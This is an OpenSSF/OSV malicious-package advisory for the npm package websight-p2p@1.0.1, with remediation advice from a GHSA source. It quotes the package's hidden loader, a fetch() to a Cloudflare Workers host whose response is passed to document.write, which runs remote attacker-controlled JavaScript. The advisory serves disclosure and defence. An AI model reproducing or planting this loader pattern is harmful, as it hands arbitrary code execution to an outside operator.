OpenSSF/OSV advisory MAL-2026-10697 confirms this npm version as malicious. The package's only content file is index.html (declared as the package `main`). On load, it unconditionally calls `fetch("https://loader.p2pgames.workers.dev/", {headers:{"x-access":"p2p"}})` and passes the response body to `document.write(text)`, executing whatever JavaScript the remote endpoint returns in the page origin...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in websight-p2p (npm)
Details
The package's only content file is index.html (declared as the package `main`). On load, it unconditionally calls `fetch("https://loader.p2pgames.workers.dev/", {headers:{"x-access":"p2p"}})` and passes the response body to `document.write(text)`, executing whatever JavaScript the remote endpoint returns in the page origin. There is no integrity check, no version pin, and no authentication beyond a static `x-access: p2p` header. The remote host (p2pgames.workers.dev) is a Cloudflare Workers endpoint that does not match the package name (websight-p2p), and the package metadata is hollow — empty `description`, empty `author`, no `repository`, no `keywords`. Anyone who serves or opens this HTML executes arbitrary attacker-mutable code in the page origin; the operator can swap the payload at any time without republishing the package.
## Source: ghsa-malware (dd3e8937aed84d88b684e09a1fc8e874142e8660793e873740d19ebe2870067c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms websight-p2p@1.0.1 as malicious (MAL-2026-10697): Malicious code in websight-p2p (npm)